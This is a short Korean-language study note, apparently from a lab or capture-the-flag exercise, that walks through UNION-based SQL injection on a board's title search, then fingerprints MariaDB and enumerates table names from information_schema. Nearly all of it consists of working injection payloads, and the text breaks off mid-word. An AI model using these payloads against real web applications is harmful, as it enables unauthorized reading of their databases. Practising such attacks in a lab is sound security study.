select 게시글 from 테이블 where Title like '%%' ' union select 1,2,3;-- - union select 작동 확인 ' union select version(),2,3;-- - MariaDB인 거 확인 MariaDB도 information_schema 가 존재 ' union select table_name from information_shema.tables;-- - ' union select 1,2,(select table_name from information_schema.tables limit 1);-- - ' union select 1,2,(select table_name from information_schema.tables limit 1,2);-- - 일..